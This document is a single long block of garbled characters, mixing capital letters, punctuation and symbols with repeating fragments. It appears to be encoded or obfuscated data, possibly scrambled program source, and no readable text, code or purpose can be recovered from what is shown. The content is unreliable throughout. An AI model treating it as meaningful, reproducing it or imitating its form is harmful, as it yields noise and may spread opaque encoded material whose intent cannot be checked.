YZCDFIU[^HUYNT%FIoMMGCVDKC_KACACWDELJ		FA[oFH]MK@AMIL\ACWDELJpLCTALHHBW^I@IUWKBCG]ALHHBW%LUK\FMFpoFH]MK@AMIL\ACWDELJ%%FIFXpY^U_NV^MUHLUK\FMFpSSUVBD\JJ@K[ZU\ZJ@\GMFND		LUK\FMFpZU\ZJ@\GMFNDT%FIMMGCVDKC_KACZU\ZJ@\GMFNDA^_ZEZALWFACWDELJZU\ZJ@\GMFND%%%JC\JFIWIDWHICDFVC]\Z]^LYVJ^AACWDELJ%  x|@LFNCcFAD\]J\_@A\FYJM]JND_@FA[%%R%ZA\J[LUK\FMFp%R%FIoUVBD\JJ@K[ACWDELJT%A^_ZEZALWFACWDELJZU\ZJ@\GMFND%R%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFH]MK@AMIL\FH]MK@AMIL\ACWDELJ%FVC]\Z]^LYVJ^ABKLI]\DFNLDLA\%]J[Z]AINC\J%R%%%%oLCJN]\[N[LNLGJ[]ZJACWDELJ%%[XL[YXCAYZFN_INC\J%%%FIpLCT%%%[F\@HUoFXpY^U_NV^MUHACWDELJ%%%[XL[YXCAYZFN_FXpY^U_NV^MUH[F\@HU		FXpY^U_NV^MUH[F\@HUpLC		MMGCVDKC_KAC[F\@HUFXpY^U_NV^MUHYHF[J_G\pWG%RJC\JT%I__U@NXZKUVBD\JJ@K[FXpY^U_NV^MUHoGN\GpIFCJUVBD\JJ@K[ACWDELJINC\J%FIUVBD\JJ@K[I__U@NXZK		I__U@NXZK[XL[YXCAYZFN_I__U@NXZKMMGCVDKC_KACYHF[J_G\pWG%JC\JT%  LN[LGMC@LD%%X^DNZBFAXKVoUVBD\JJ@K[ACWDELJ%FIX^DNZBFAXKVpLCT%J@MLZ[DBJoUVBD\JJ@K[ACWDELJINC\JAZCC%p][oFXpY^U_NV^MUHACWDELJINC\JAZCCpLC%[XL[YXCAYZFN_FXpY^U_NV^MUHJ@MLZ[DBJ		FH]MK@AMIL\p][		J@MLZ[DBJMMGCVDKC_KACYHF[J_G\pWGWIWMK		p][FH]MK@AMIL\YHF[J_G\pWGpLC%%%%R%R%%%%R%%%FI[XL[YXCAYZFN_T%@DWMpK]LDZ\KNVCZMMGCVDKC_KACUVBD\JJ@K[FH]MK@AMIL\ACWDELJ%%%%FIZ]NIZF^AAA]@KKF^@ACWDELJ[]ZJ%FIFH]MK@AMIL\ZU\ZJ@\GMFNDT%BJKHG^JBDU^UYUVBD\JJ@K[FXpY^U_NV^MUHoGN\GpIFCJFH]MK@AMIL\ACWDELJINC\J%FIUVBD\JJ@K[BJKHG^JBDU^UY		BJKHG^JBDU^UY		BJKHG^JBDU^UYFXpY^U_NV^MUHYHF[J_G\pWG		BJKHG^JBDU^UYUVBD\JJ@K[ZU\ZJ@\GMFNDT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFXpY^U_NV^MUHUVBD\JJ@K[ACWDELJ%]J[Z]AINC\J%%%R%U[FUZUBLp]ALKKG_ZDpLW]_DCDZL\FH]MK@AMIL\%FIU[FUZUBINC\J		oMMGCVDKC_KACU[FUZUBZU\ZJ@\GMFNDUVBD\JJ@K[ZU\ZJ@\GMFNDT%FIG]CYUEMXZpD_U[FUZUBACWDELJT%FIoUVBD\JJ@K[ACWDELJ		W@XppUA^^[J]pC_EXZI\U\YFLJACWDELJ%FIW@XppUA		I@UZXHX]FWNU[FUZUBACWDELJT%FVC]\Z]^LYVJ^AU[FUZUB%RJC\JT%oUVBD\JJ@K[ACWDELJZU\ZJ@\GMFND%FVC]\Z]^LYVJ^AU[FUZUB%R%R%%RJC\JT%FIU[FUZUBINC\JFVC]\Z]^LYVJ^AU[FUZUB%oFXpY^U_NV^MUHACWDELJZU\ZJ@\GMFND%%R%AMAAWC@IZWDWACVACWDELJ%RJC\JFIWIDWHICDT%FVC]\Z]^LYVJ^AACWDELJ%R%]J[Z]AINC\J%R%AMAAWC@IZWDWACVACWDELJ%JECDKL[DCACWDELJ%^^[J]pC_EXZI\U\YFLJACWDELJWW%FIZ]NIZF^AAA]@KKF^@ACWDELJINC\J%]J[Z]A[]ZJ%R%IZAL[F@A^EMUJ^ICEAWpI\ACWDELJZ]@YZKGXG[%T% ]JCNWJK\L@_JLGNFA %%%FB\HI_G_G_sA%FIFXpY^U_NV^MUHZ]@YZKGXG[		Z]@YZKGXG[		UVBD\JJ@K[Z]@YZKGXG[FH]MK@AMIL\INC\J		YUKA]KF^LpMLUMZZ]@YZKGXG[FB\HI_GZ]@YZKGXG[%FIoUVBD\JJ@K[ACWDELJT%HGN]UDoMMGCVDKC_KACACWDELJ%%%%FIFXpY^U_NV^MUHHGN]UD		EXpF\FZFGEDEJHGN]UDFB\HI_G]J[Z]A%%%R%%%FI\M^IMUZLAAY\WEFW_ACWDELJFB\HI_GT%@^]FYLY^oFXpY^U_NV^MUHACWDELJ%FIUVBD\JJ@K[@^]FYLY^		EXpF\FZFGEDEJ@^]FYLY^FB\HI_GoUVBD\JJ@K[ACWDELJFB\HI_G%ZA\J[@^]FYLY^%R%AMAAWC@IZWDWACVACWDELJ%R%IZAL[F@AG@@[ppYB_N[[B%%T%FIFH]MK@AMIL\UVBD\JJ@K[		YNGIILCApKZ@CC\\]J[Z]A[]ZJ%FIMMGCVDKC_KACFH]MK@AMIL\SSFXpY^U_NV^MUHFH]MK@AMIL\]J[Z]A[]ZJ%EBEL_KHIG@BJpZ]C %EBEL_KHIFH]MK@AMIL\EBEL_KHIINC\J	FH]MK@AMIL\MMGCVDKC_KACFH]MK@AMIL\WWWW%_EI@L@EIZFXpY^U_NV^MUHEBEL_KHIN]]NVMMGCVDKC_KACqUVBD\JJ@K[INC\JUVBD\JJ@K[UVBD\JJ@K[N]]NVMMGCVDKC_KACUVBD\JJ@K[%FIUVBD\JJ@K[UVBD\JJ@K[		F\pX_pJ]]@]_EI@L@EIZT%FIMMGCVDKC_KACUVBD\JJ@K[FXpY^U_NV^MUH%_EI@L@EIZFXpY^U_NV^MUHEBEL_KHIN]]NVFXpY^U_NV^MUHFH]MK@AMIL\INC\JUVBD\JJ@K[FXpY^U_NV^MUHN]]NVUVBD\JJ@K[MMGCVDKC_KAC%%FIUVBD\JJ@K[UVBD\JJ@K[		F\pX_pJ]]@]_EI@L@EIZ]J[Z]AINC\J%R%DMEAJAKCFA[X_p]JB@[Jp]J[]FJYJp]J\_@A\JpL@KJ_EI@L@EIZV^YMGZ]BU@ZMHEUUV^YMGZV^YMGZV^YMGZ%]J[Z]ADMEAJAKC		DMEAJAKCWWI%R%IZAL[F@AEWFIZB^[ZJNIAK]CLM\pUU^[HYAVNIWCANpD%T%MEWNIpF]NNIFH]MK@AMIL\MMGCVDKC_KACNIWCANpD %%%I@]JNLG%N]]NV%%%%FXpY^U_NV^MUHMEWNIpF]NNIMMGCVDKC_KAC%UVBD\JJ@K[MEWNIpF]NNIFXpY^U_NV^MUH%MMGCVDKC_KACMEWNIpF]NNIFXpY^U_NV^MUH%N\EYIZA@ENCM%T%FIFH]MK@AMIL\M\pUU^[HYAVM]JND%%%%M\pUU^[HYAVFXpY^U_NV^MUHEYIZA@ENCMsAM\pUU^[HYAV%R%%%%]J[Z]AM\pUU^[HYAVZBLFEDEWMKGC[JZBLFEDEWMZBLFEDEWMZBLFEDEWM%R%%%%IZAL[F@AAMAAWC@IZWDWACVL@CXUWJCN@%T%FIMMGCVDKC_KACFXpY^U_NV^MUHT%]J[Z]Ao@_LNLGJpFAYNCFKN[JL@CXUWJCN@[]ZJINC\J%R%GZBHBC[LXGBUVBD\JJ@K[FXpY^U_NV^MUHo@_LNLGJpHJ[p\[N[Z\INC\JINC\J%]J[Z]AUVBD\JJ@K[GZBHBC[LXGB		JB_[VGZBHBC[LXGBtFH]MK@AMIL\r%R%IZAL[F@A[EKM^^WMFAZ@NACWDELJXNGpV[ZV@X\\[pUU^^G%T%FIUVBD\JJ@K[ACWDELJMMGCVDKC_KACT%FI\M^IMUZLAAY\WEFW_ACWDELJXNGpV[ZV@X\\[T%@DWMpK]LDZ\KNVCZpUU^^GMMGCVDKC_KACUVBD\JJ@K[ACWDELJ%]J[Z]AINC\J%R%AMAAWC@IZWDWACVACWDELJ%]J[Z]AMMGCVDKC_KACXNGpV[ZV@X\\[%%%%R%IFp@^FGoFH]MK@AMIL\ACWDELJFH]MK@AMIL\%FIIFp@^FGINC\JT%@DWMpK]LDZ\KNVCZpUU^^GFXpY^U_NV^MUHFXpY^U_NV^MUHACWDELJ%]J[Z]AINC\J\KW^\\NVFFWJ\p\KW^\\%R%FIUVBD\JJ@K[FH]MK@AMIL\oIC@LDIFp@^FGc`ldpjw%%_EI@L@EIZoMMGCVDKC_KACIFp@^FGXNGpV[ZV@X\\[%FIFXpY^U_NV^MUHMMGCVDKC_KACoIC@LDIFp@^FGc`ldpza%oILC@\JIFp@^FG%FI_EI@L@EIZINC\JSSXNGpV[ZV@X\\[		_EI@L@EIZUVBD\JJ@K[XNGpV[ZV@X\\[T%@DWMpK]LDZ\KNVCZpUU^^GMMGCVDKC_KACFXpY^U_NV^MUHACWDELJ%%%%]J[Z]AINC\J%R%]J[Z]A_EI@L@EIZ%R%%%%IZAL[F@AG]E]^VCMI^@%T%  _]@NL[FYJCFAJN][V_J%%[]VT%FIMMGCVDKC_KACMMGCVDKC_KACSSMMGCVDKC_KACMMGCVDKC_KACT%XKEDBJVJCFIHAZCC%]J[Z]A%R%%%FIHJ[p[]NA\FJA[FXpY^U_NV^MUH]J[Z]A%FIHJ[p[]NA\FJA[FH]MK@AMIL\]J[Z]A%\J[p[]NA\FJA[FH]MK@AMIL\%XKEDBJVJCFIHAZCC%FIFH]MK@AMIL\MMGCVDKC_KACKJCJ[Jp[]NA\FJA[UVBD\JJ@K[%Y^p@[V[_^UVBD\JJ@K[FXpY^U_NV^MUH\[]FAHGMFZYEXHXZ]UADppWFXpY^U_NV^MUH%FIY^p@[V[_^		UVBD\JJ@K[UVBD\JJ@K[		Z\J]ANBJpJWF\[\Y^p@[V[_^T%\J[p[]NA\FJA[MMGCVDKC_KAC%%%%R%RLN[LG{G]@XNMCJC[A_M[pT%  o_]@YF\F@ACJNDVMZLDJ[%%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pTLYDXLW[AXI]FpLYDXLW%R%R%%%%IZAL[F@AXKEDBJVJCFIH@VKpMF@L%%T%FILBFEWKCIBAXUVBD\JJ@K[]J[Z]A%[]VT%FIFXpY^U_NV^MUHUVBD\JJ@K[SSFXpY^U_NV^MUHFH]MK@AMIL\T%]J[Z]A%R%ND^DDEEE\[]FAHGMFZYEXHXZ]UADppWFXpY^U_NV^MUH%FIND^DDEEE		Z\J]ANBJpJWF\[\ND^DDEEE		\[]FAHGMFZYEXHXZ]UADppWFH]MK@AMIL\T%]J[Z]A%R%FIND^DDEEET% CFAJN]FUNMCJ\VALG]@AFUJ] %%%%%^CBBGZYA^CUVBD\JJ@K[@VKpMF@L@VKpMF@LpBDWEHZ^GG%FKZFKpKVJ\DH^HpZL^UHMNH[FKUp[^CBBGZYA^C%FI%%FKZFKpKVJ\		JB_[VFKZFKpKVJ\Z\J]pC@HFA		F\\J[FKZFKpKVJ\Z\J]pJBNFC%%		FKZFKpKVJ\Z\J]pJBNFCFKZFKpKVJ\Z\J]pC@HFAoXHUL_\YVJD@^MIMMGCVDKC_KAC%T%ND^DDEEE\[]FAHFKZFKpKVJ\Z\J]pC@HFA%R%R%FIND^DDEEE		Z\J]ANBJpJWF\[\ND^DDEEET%%%\HBF[CBp_XZ\J]ANBJpJWF\[\ND^DDEEE%MFI^YNHU[Y_KJWWLGH^AAWHq%%%%FIFH]MK@AMIL\MMGCVDKC_KACT%FXpY^U_NV^MUHMFI^YNHU[Y_K\HBF[CBp_X%R%%EUpCCUU[VUN]KXADBYUVBD\JJ@K[ND^DDEEEUVBD\JJ@K[ZV]Z[EBZMMFZZV]Z[E%EUpCCUU[VUN]KXADBYFH]MK@AMIL\MFI^YNHU[Y_KUVBD\JJ@K[%]J[Z]A%R%CIMKMMZKGMFU[KUXMN\HGWJ@B%FI[]ZJT%ND^DDEEE%I@]^AYMEFZBMAp^AYMEFZBMAp^AYMEFZBMApT%CLBMKH]E[CIMKMMZKGMtFH]MK@AMIL\CIMKMMZKGMrJWWLGH^AAWHq%FIZ\J]ANBJpJWF\[\CLBMKH]E[T%ND^DDEEECLBMKH]E[%M]JND%  xN]NH]N_GmC@LDN[[NLGBJA[BJ[NKN[N%%%R%R%FIND^DDEEET% _@\F[FYJKJIFAF[JNKN_[J] %%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FXpY^U_NV^MUH%]J[Z]A%R%R%MFI^YNHU[Y_KJWWLGH^AAWH%FIMMGCVDKC_KACFH]MK@AMIL\		KJIFAJKUVBD\JJ@K[		MMGCVDKC_KACnm|n{gMMGCVDKC_KACT%  }JKF\@MEJL[LNLGJ@MEJL[IF[%DEUANH\UEAE_UDEUANH\%]J^ZF]Jp@ALJnm|n{gUVBD\JJ@K[%R%%%]LHNIVAHDMKND^DDEEEoXHUL_\YVJD@^MIMMGCVDKC_KAC%CZDY_EBpI_INC\J%FIFH]MK@AMIL\FH]MK@AMIL\T%%CZDY_EBpI_UVBD\JJ@K[N]]NV%%%%UVBD\JJ@K[ND^DDEEE%UVBD\JJ@K[MFI^YNHU[Y_K%FXpY^U_NV^MUH]LHNIVAHDMK%FXpY^U_NV^MUHFXpY^U_NV^MUH%MMGCVDKC_KACND^DDEEE%%FIF\pX_pJ]]@]CZDY_EBpI_T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHCZDY_EBpI_HJ[pJ]]@]pL@KJCZDY_EBpI_HJ[pJ]]@]pBJ\\NHJ%%CZDY_EBpI_INC\J%%%R%R%%FICZDY_EBpI_T%%%%X_KMF\\J[hc`mnc|tFXpY^U_NV^MUHrhc`mnc|tUVBD\JJ@K[rAZCC%FIX_KMSSFH]MK@AMIL\X_KMT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACUVBD\JJ@K[%]J[Z]A%R%NV@@FNXMMGCVDKC_KACMMGCVDKC_KACX_pGN\Gp_N\\X@]KMFI^YNHU[Y_KFXpY^U_NV^MUHMFI^YNHU[Y_K%M^KY^XW\E@ZJCFXpY^U_NV^MUHUVBD\JJ@K[LZ]]JA[p[FBJFH]MK@AMIL\HBKN[JFH]MK@AMIL\%GLM]BpNX_KMFA\J][X_KMZ\J]\N]]NV%UVBD\JJ@K[ND^DDEEE%FH]MK@AMIL\NV@@FNX%%%%UVBD\JJ@K[ND^DDEEE%UVBD\JJ@K[]LHNIVAHDMK%FXpY^U_NV^MUHM^KY^XW\E@ZJC%FH]MK@AMIL\%%%%FH]MK@AMIL\ND^DDEEE%%%%N]]NVMMGCVDKC_KACFXpY^U_NV^MUHMMGCVDKC_KACFH]MK@AMIL\MMGCVDKC_KACFXpY^U_NV^MUHFXpY^U_NV^MUH%FIGLM]BpNT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%%%]J[Z]A%%%%R%CZDY_EBpI_FA[X_KMFA\J][pFK%WK]EVMJDBX_KM_]JIFWUVBD\JJ@K[%X_KMFA\J][X_KMZ\J]BJ[NN]]NV%%MMGCVDKC_KACCZDY_EBpI_%UVBD\JJ@K[WK]EVMJDB%FH]MK@AMIL\FH]MK@AMIL\N]]NVUVBD\JJ@K[[]ZJ%N]]NVUVBD\JJ@K[FXpY^U_NV^MUHUVBD\JJ@K[%%%X_KMFA\J][X_KMZ\J]BJ[NN]]NV%MMGCVDKC_KACCZDY_EBpI_%%%%FXpY^U_NV^MUHX_KM_]JIFWUVBD\JJ@K[%FXpY^U_NV^MUH%N]]NVFXpY^U_NV^MUHMMGCVDKC_KACFH]MK@AMIL\%FIFH]MK@AMIL\FXpY^U_NV^MUHT%LCJNApZ\J]pLNLGJCZDY_EBpI_%R%%R%FIZ\J]ANBJpJWF\[\ND^DDEEET%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHMMGCVDKC_KAC%%%]J[Z]A%R%%%%VLDpN]p^XNU]UVBD\JJ@K[MMGCVDKC_KACHJ[pZ\J]pMVFH]MK@AMIL\ND^DDEEEINC\J%_YMYXUNWINC\J%FIVLDpN]p^XNU]		JB_[VVLDpN]p^XNU]fkT%%%FIMMGCVDKC_KACMMGCVDKC_KACT%_YMYXUNWM@@CZ\J]pLNAVLDpN]p^XNU]FH]MK@AMIL\%RJC\JFIF\\J[VLDpN]p^XNU]LN_\		FXpY^U_NV^MUHVLDpN]p^XNU]LN_\T%_YMYXUNWJB_[VVLDpN]p^XNU]LN_\tMMGCVDKC_KACr%R%R%  xmC@LDnfYH]JJKVNLLZBZCN[@]%%%FI_YMYXUNWT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FXpY^U_NV^MUH%FICZDY_EBpI_T%FIFXpY^U_NV^MUHMMGCVDKC_KAC		KJIFAJKUVBD\JJ@K[		oUVBD\JJ@K[nm|n{gFXpY^U_NV^MUHT%]J^ZF]Jp@ALJnm|n{gUVBD\JJ@K[%%%%R%FIMMGCVDKC_KACFH]MK@AMIL\oX_pKJCJ[JpZ\J]CZDY_EBpI_%R%]J[Z]A%R%EUpCCUU[VUN]KXADBYMMGCVDKC_KACND^DDEEEUVBD\JJ@K[%EUpCCUU[VUN]KXADBYFXpY^U_NV^MUHMFI^YNHU[Y_KFH]MK@AMIL\%RLN[LG{G]@XNMCJC[A_M[pT%  ]J\[@]JJYJA[ZNCBJ\\NHJ^ZJZJ%%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%RIFANCCVT%H\GBN@MFVL]MMGCVDKC_KAC%R%R%%IZAL[F@AELpNYICWVI^WYNE][DpY%T%%%%[]VT%%FIMMGCVDKC_KACNE][DpYSS_]@_J][VpJWF\[\NE][DpYFXpY^U_NV^MUHT%%]J[Z]ANE][DpY%%%R%%%%%ND^DDEEEFXpY^U_NV^MUHFXpY^U_NV^MUH\[]FAHGMFZYEXHXZ]UADppWUVBD\JJ@K[%FIND^DDEEET%%]J[Z]ANE][DpY%R%%WM[^Z^UEJ\Lp\^CND^DDEEE%FIFH]MK@AMIL\NE][DpY^ZJ]VpXGJ]JWM[^Z^UEINC\JT%NE][DpY^ZJ]VpXGJ]JFXpY^U_NV^MUHWM[^Z^UE%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%%%%R%%%]J[Z]ANE][DpY%R%IZAL[F@AELM__HYJDD_GUE\\LYMHZLXp%%%%T% KJHJAJ]N[J[]Z\[NALG@] %%[]VT%Y^p@[V[_^UVBD\JJ@K[UVBD\JJ@K[\[]FAHGMFZYEXHXZ]UADppWFXpY^U_NV^MUH%FIY^p@[V[_^T%  FKJA[F[VL@B_N]F\@A%%]J[Z]AE\\LYMHZLXp%R%AGKNICWL[N]]NVUVBD\JJ@K[FH]MK@AMIL\%I@]JNLGAGKNICWL[N\DJVT%FIF\\J[E\\LYMHZLXptDJVr		FH]MK@AMIL\E\\LYMHZLXptDJVr		FXpY^U_NV^MUHUVBD\JJ@K[E\\LYMHZLXptDJVrYE\BAI_T%BEB]J\FDMHZYFXpY^U_NV^MUHFA[YE\BAI_tr%%%%%%E\\LYMHZLXptDJVrFH]MK@AMIL\UVBD\JJ@K[BEB]J\FDMHZYE\\LYMHZLXptDJVr%%R%%%%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%R%]J[Z]AE\\LYMHZLXp%R%IZAL[F@ALCB[HWIAECpKW]DXGZZ_@L^UWA^XBN^^\WI%T[G]GJKHC[G]G
%[]VT%ND^DDEEEUVBD\JJ@K[UVBD\JJ@K[\[]FAHGMFZYEXHXZ]UADppWFXpY^U_NV^MUH%FIND^DDEEET%]J[Z]AGZZ_@L^%R%FIFH]MK@AMIL\GZZ_@L^T%]J[Z]AGZZ_@L^%R%FIF\\J[GZZ_@L^tMMGCVDKC_KACrSSFH]MK@AMIL\GZZ_@L^tFH]MK@AMIL\rT%GZZ_@L^tFXpY^U_NV^MUHrN]]NV]pWZ]B\VLU_UN]pWZ]B\]pWZ]B\]pWZ]B\%R%FIFH]MK@AMIL\ND^DDEEEGZZ_@L^tFH]MK@AMIL\r[]ZJT%GZZ_@L^tFXpY^U_NV^MUHrtrND^DDEEE%R%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%%RLN[LGjWLJ_[F@AC[A_M[pT%R%]J[Z]AGZZ_@L^UACYFKWDpN[WWHDZVVJUUACYFKWDp%R%%IZAL[F@AW@WIEHLKBG%T%%WpJFBNJXWJN]]NV%%%FIKJIFAJKUVBD\JJ@K[		FXpY^U_NV^MUHFXpY^U_NV^MUHT%  bV|~cl{j\FA\[]ZBJA[\L@_JLGNFA%%KNMY]_A\[N]]NVHJ[p@_[F@AMMGCVDKC_KACN]]NV%FAU\^FECL\_N]]NV%I@]JNLGKNMY]_A\[N\MN\JANBJT%FIMMGCVDKC_KACMN\JANBJSSFXpY^U_NV^MUHMN\JANBJFXpY^U_NV^MUHINC\JT%%%%L@A[FAZJ%R%  []NA\_FCJ\_N]\JKF\_N[LGJ]%%WpCUYCK]IFXpY^U_NV^MUHMN\JANBJ%FIWpCUYCK]IT%WpCUYCK]IMN\JANBJ%R%FIF\\J[FAU\^FECL\_tWpCUYCK]IrT%%L@A[FAZJMI@_GLUCHMIG[ZLX\^MI@_GLUCHMIG%%%R%%%%FAU\^FECL\_tWpCUYCK]Ir[]ZJ%ACWDELJxpczhfapkf} MN\JANBJ%FIFH]MK@AMIL\MN\JANBJT%FIoFH]MK@AMIL\ACWDELJT%WpJFBNJXWJtrACWDELJ%R%  _]JIJ[LGKJ[J]BFAF\[FLNCJ][%%RJC\JT%%]_DCDZL\MMGCVDKC_KACACWDELJ%%FIoFXpY^U_NV^MUH]_DCDZL\T%WpJFBNJXWJFH]MK@AMIL\WpJFBNJXWJEWA@p]]HJJJJDWI]_DCDZL\N]]NVFXpY^U_NV^MUH%R%R%R%%%R%  F[J]N[J\J\\F@A[V_JI@]xi@A[cFM]N]V%%%%%%FIoFXpY^U_NV^MUHZpLN@AJ@YYVD\@G[AT%  oZA\ZM\L]FMJL@@]KFAN[@]%%AXZMNWBZ\ZGAJG\GN\^DZZpLN@AJ@YYVD\@G[A%%FIMMGCVDKC_KACAXZMNWBT%%%I@]JNLGAXZMNWBN\UHKNLMA[IVT%FIUHKNLMA[IVFD\GHZWZVWFC^LVT%%L@A[FAZJ%%%R%L@CXUWJCN@ZpLN@AJ@YYVD\@G[A UHKNLMA[IV%FIoFXpY^U_NV^MUHL@CXUWJCN@		FH]MK@AMIL\UVBD\JJ@K[UHKNLMA[IVL@A\[NA[UVBD\JJ@K[FH]MK@AMIL\T%%WpJFBNJXWJtrL@CXUWJCN@%R%R%%%%R%R%%%%%FIKJIFAJKFXpY^U_NV^MUH		FH]MK@AMIL\FH]MK@AMIL\T%YFYEEL_FBDMV\[]FAHHJ[p@_[F@AFH]MK@AMIL\%%%NJVCB^]F]LXL^L\[]FAHHJ[p@_[F@AFH]MK@AMIL\%DYV@]GF_KJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}UVBD\JJ@K[nm|n{gFH]MK@AMIL\%ZGBU_HpAMMGCVDKC_KACUVBD\JJ@K[N]]NVYFYEEL_FBDMVNJVCB^]F]LXL^L%I@]JNLGZGBU_HpAN\F\H]^MMW_T%FIMMGCVDKC_KACF\H]^MMW_FXpY^U_NV^MUHINC\JT%L@A[FAZJ%R%CUNXA\NDYV@]GF_ F\H]^MMW_%FIoFXpY^U_NV^MUHCUNXA\NT%%pYBEKp[\XCXZ\ZGAJG\GN\^DZCUNXA\N%FIFXpY^U_NV^MUHpYBEKp[\XCXT%I@]JNLGpYBEKp[\XCXN\UHKNLMA[IVT%Z]^FUFDWICUNXA\N UHKNLMA[IV%FIoFH]MK@AMIL\Z]^FUFDWI		MMGCVDKC_KACFXpY^U_NV^MUHUHKNLMA[IVL@A\[NA[MMGCVDKC_KACFXpY^U_NV^MUHT%WpJFBNJXWJtrZ]^FUFDWI%R%R%R%  x@\[jWLJ]_[N[[NLGBJA[BJ[NKN[N%%%VBZVIBEM_KCUNXA\NUVBD\JJ@K[%FIoMMGCVDKC_KACVBZVIBEM_KT%WpJFBNJXWJMMGCVDKC_KACWpJFBNJXWJEWA@p]]HJJJJDWIVBZVIBEM_KN]]NVUVBD\JJ@K[%%%%R%R%R%%%R%]J[Z]AFH]MK@AMIL\WpJFBNJXWJ%%%R%IZAL[F@AUKKKUIBIUKFVHVFH_GIDNJ%T%FIFXpY^U_NV^MUHFH_GIDNJ]J[Z]AN]]NV%%%%]FULYEU@G^AKWpWN]]NV%I@]JNLGFH_GIDNJN\_EI@L@EIZT%FIUVBD\JJ@K[_EI@L@EIZSS_EI@L@EIZSSUVBD\JJ@K[_EI@L@EIZL@A[FAZJ%[]VT%  \[]J\\[J\[FAKJL@B_@\NMCJNZ[G@]F[V%%FIoFXpY^U_NV^MUH_EI@L@EIZINC\JL@A[FAZJ%RLN[LG{G]@XNMCJC[A_M[pT%L@A[FAZJ%%%%RLN[LGjWLJ_[F@AC[A_M[pT%L@A[FAZJ%R%]FULYEU@G^AKWpWtr_EI@L@EIZ%%R%  xg@BJcFAD[]NLJK@BFAN[@][]JJ%%]J[Z]A]FULYEU@G^AKWpW%%R%IZAL[F@A]VU[FWALMG]_pFH_GIDNJ%T%[]VT%%FIJB_[VFH_GIDNJT%%%]J[Z]AINC\JUYLZIp\FFXMFG@NNUYLZIp\
%R%%%WpJFBNJXWJW@WIEHLKBG%%%%FIJB_[VWpJFBNJXWJT%  C@LDL@A\[]NFA[\J[I@]x@\[{F[CJ%%]J[Z]AINC\J%R%Y[VLZUA\H_KINC\J%I@]JNLGWpJFBNJXWJN\L@CXUWJCN@T%%FIoMMGCVDKC_KACL@CXUWJCN@SSoUVBD\JJ@K[L@CXUWJCN@T%L@A[FAZJ%R%%FIoMMGCVDKC_KACL@CXUWJCN@T%L@A[FAZJ%%%R%YHF[J_G\pWGoFH]MK@AMIL\L@CXUWJCN@%FIYHF[J_G\pWGSSMMGCVDKC_KACYHF[J_G\pWGT%L@A[FAZJ%%%R%%HMW]J^Y]LVINC\J%%%%I@]JNLGFH_GIDNJN\\FJppWpJLT%[]VT%%%%%%UFUKCZMKNFoMMGCVDKC_KAC\FJppWpJLYHF[J_G\pWG%FIUFUKCZMKNFAZCC		UFUKCZMKNFYHF[J_G\pWGT%YHF[J_G\pWGUFUKCZMKNF]DXF_EL_KIYCNXV\N]DXF_E]DXF_E]DXF_E%HMW]J^Y]LV[]ZJ%R%  x@]K]J\\MC@LDMFAKFAH\FA[J]]Z_[KJ]FYN[F@A%%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHC[A_M[p%L@A[FAZJ%RLN[LGjWLJ_[F@AC[A_M[pT%  xaNYFHN[F@AmC@LDA@ALJYNCFKN[F@A%%L@A[FAZJ%R%R%%FIHMW]J^Y]LVT%FI\M^IMUZLAAY\WEFW_L@CXUWJCN@YHF[J_G\pWGT%Y[VLZUA\H_K[]ZJ%R%R%%R%%]J[Z]AY[VLZUA\H_K%%RLN[LG{G]@XNMCJC[A_M[pT% _]FBN]VKF]JL[@] %%@DWMpK]LDZ\KNVCZFH]MK@AMIL\C[A_M[p%%%RLN[LGjWLJ_[F@AC[A_M[pT%R% \J\^ZFCFAJN]]J[]V_@CFLV %%]J[Z]AINC\J%%%R%%IZAL[F@A@W\VXUMBBMZV]_DCDZL\BUCAW]FL]%%%%T%%%%BJMXXENJ\^AN]]NV%BUCAW]FL]BUCAW]FL]%%HIAIWU_DEZK[oFH]MK@AMIL\]_DCDZL\DZX^LHIGF_\MGLNYGLJ[DZX^LHIGF_%FIFXpY^U_NV^MUHHIAIWU_DEZK[T%%%]J[Z]ABJMXXENJ\^A%R%HIAIWU_DEZK[UVBD\JJ@K[HIAIWU_DEZK[WLW%%%%I@]JNLGHIAIWU_DEZK[N\UHKNLMA[IVT%%%%%FIUHKNLMA[IVSSUHKNLMA[IVMMGCVDKC_KACT%L@A[FAZJ%R%%%%IN[FDDB]_DCDZL\ UHKNLMA[IV%FIoFH]MK@AMIL\IN[FDDBT%L@A[FAZJ%R%%FIoMMGCVDKC_KACIN[FDDBMMGCVDKC_KACT%%%%BJMXXENJ\^AtrFXpY^U_NV^MUHIN[FDDBFH]MK@AMIL\%L@A[FAZJ%R%%%%%FIBUCAW]FL]T%%BJMXXENJ\^AFH]MK@AMIL\BJMXXENJ\^A@W\VXUMBBMZVIN[FDDBBUCAW]FL]%R%R%%]J[Z]ABJMXXENJ\^A%R%IZAL[F@AN_VL\BVFFYX%T%]XM^CM^YKC@N]]NV%%%\MU[\[GL_FA[IUVBD\JJ@K[nm|n{gUVBD\JJ@K[%[]VT%CK_UZ[Z_A\KN]]NV%FI\MU[\[GL_FA[IT%CK_UZ[Z_A\KtrMMGCVDKC_KAC\MU[\[GL_FA[I%CK_UZ[Z_A\KtrUVBD\JJ@K[FXpY^U_NV^MUH\MU[\[GL_FA[I%%%%CK_UZ[Z_A\KtrUVBD\JJ@K[MMGCVDKC_KACUVBD\JJ@K[\MU[\[GL_FA[I%R%%%%CK_UZ[Z_A\KtrMMGCVDKC_KAC%CK_UZ[Z_A\KtrUV